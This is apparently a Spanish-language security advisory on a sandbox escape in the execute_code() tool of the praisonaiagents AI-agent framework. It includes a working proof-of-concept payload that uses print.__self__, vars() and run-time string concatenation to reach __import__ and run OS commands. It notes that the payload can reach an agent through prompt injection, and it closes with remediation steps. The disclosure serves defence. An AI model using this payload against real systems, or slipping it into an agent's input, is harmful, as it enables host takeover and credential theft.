Resumen
La función execute_code() en praisonaiagents/tools/python_tools.py (v1.6.37, modo sandbox subprocess) puede ser completamente evadida usando print.__self__ para recuperar el módulo Python builtins real, del cual se puede extraer __import__ mediante vars() y construcción de cadenas en tiempo de ejecución. Esto logra ejecución arbitraria de comandos del sistema operativo en el host, derrotando completamente el sandbox.
Este es un bypass novedoso que sobrevive a todos los parches para CVE-2026-39888 (traversal de frames), CVE-2026-34938 (subclase str), y CVE-2026-40158 (trampoline type.__getattribute__).
Severidad
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H: 9.9 Crítico
Causa Raíz
Tres brechas independientes en la validación de seguridad basada en AST:
Brecha 1: __self__ faltante en _blocked_attrs
En CPython, todas las funciones built-in (funciones de nivel C) tienen un atributo __self__ que retorna el módulo al que pertenecen. Las funciones built-in en safe_builtins (print, len, range, etc.) son las funciones built-in reales de CPython, por lo que print.__self__ retorna <module 'builtins' (built-in)>.
El frozenset _blocked_attrs (línea 52) NO incluye __self__. La verificación AST en la línea 74 solo bloquea atributos que están EN este conjunto, por lo que print.__self__ pasa.
Brecha 2: vars no bloqueado como callable o atributo
builtins.vars(obj) retorna obj.__dict__. El nombre de función vars no está en la lista de bloqueo AST Call (línea 83: solo bloquea exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). Y vars no está en _blocked_attrs para acceso de atributos.
Entonces b.vars(b) (donde b es el módulo builtins) retorna builtins.__dict__: un diccionario que contiene TODAS las funciones built-in incluyendo __import__, exec, eval, open, etc.
Brecha 3: Verificación AST Call solo captura nodos ast.Name
La verificación de llamadas peligrosas (línea 82-88) solo se activa cuando isinstance(func, ast.Name): es decir, llamadas de nombre simple como exec(...). NO captura:
- Llamadas de atributo:
b.exec(...): func esast.Attribute - Llamadas de subscript:
d["exec"](...): func esast.Subscript
Brecha 4: Construcción de cadenas en tiempo de ejecución evade verificación de constantes de cadena
La verificación de constantes de cadena (línea 92-98) captura literales como "__import__", pero NO concatenación en tiempo de ejecución como "_" + "_" + "import" + "_" + "_". El AST ve 5 nodos Constant separados ("_", "_", "import", "_", "_"), ninguno de los cuales contiene ningún attr bloqueado como subcadena.
Prueba de Concepto
from praisonaiagents.tools.python_tools import execute_code
# Exploit: 4 líneas, evade TODAS las capas de seguridad
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""
result = execute_code(code=payload)
print(result)
# Salida: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}
Análisis paso a paso del bypass:
| Línea | Nodo AST | Verificación | Resultado |
|---|---|---|---|
| print.__self__ | Attribute(attr='__self__') | __self__ en _blocked_attrs? | NO → pasa |
| b.vars | Attribute(attr='vars') | vars en _blocked_attrs? | NO → pasa |
| b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → pasa |
| "_", "import" | Constant(value=str) | ¿Contiene attr bloqueado? | NO → pasa |
| d[key] | Subscript | No verificado | pasa |
| imp("os") | Call(func=Name('imp')) | imp en llamadas bloqueadas? | NO → pasa |
Resultado: Escape completo de sandbox → ejecución arbitraria de comandos
Impacto
Un atacante que pueda influir en la entrada del agente (vía inyección de prompt, documentos maliciosos, o envío directo de código) puede:
- Ejecutar comandos arbitrarios en el sistema host
- Leer/escribir cualquier archivo accesible al proceso
- Exfiltrar variables de entorno, claves API y credenciales
- Pivotar a redes internas
- Instalar backdoors persistentes
Afectados
- Paquete:
praisonaiagents(PyPI) - Versiones afectadas: Todas las versiones hasta 1.6.37 (última)
- Componente:
praisonaiagents/tools/python_tools.py, función_execute_code_sandboxed() - Configuración por defecto afectada: Sí (
sandbox_mode="sandbox"es el valor por defecto)
Remediación
Corrección inmediata
Agregar __self__ a _blocked_attrs:
_blocked_attrs = frozenset({
...,
'__self__', # Las funciones built-in filtran su módulo padre
})
Endurecimiento adicional
- Bloquear
varsen la lista de callables bloqueados - Extender la verificación
ast.Callpara también capturar nodos de funciónast.Attributeyast.Subscript - Agregar verificación AST para concatenación de cadenas
BinOpque podría construir nombres de attr bloqueados
Recomendación fundamental
Los sandboxes de Python basados en listas de denegación son fundamentalmente inseguros. Cada parche introduce una nueva oportunidad de bypass. Considere:
- Usar
isolated-vm(Node.js) o aislamiento basado en WebAssembly - Usar sandboxing a nivel de sistema operativo (seccomp, namespaces, gVisor)
- Eliminar completamente la ejecución de código en proceso a favor de ejecución containerizada
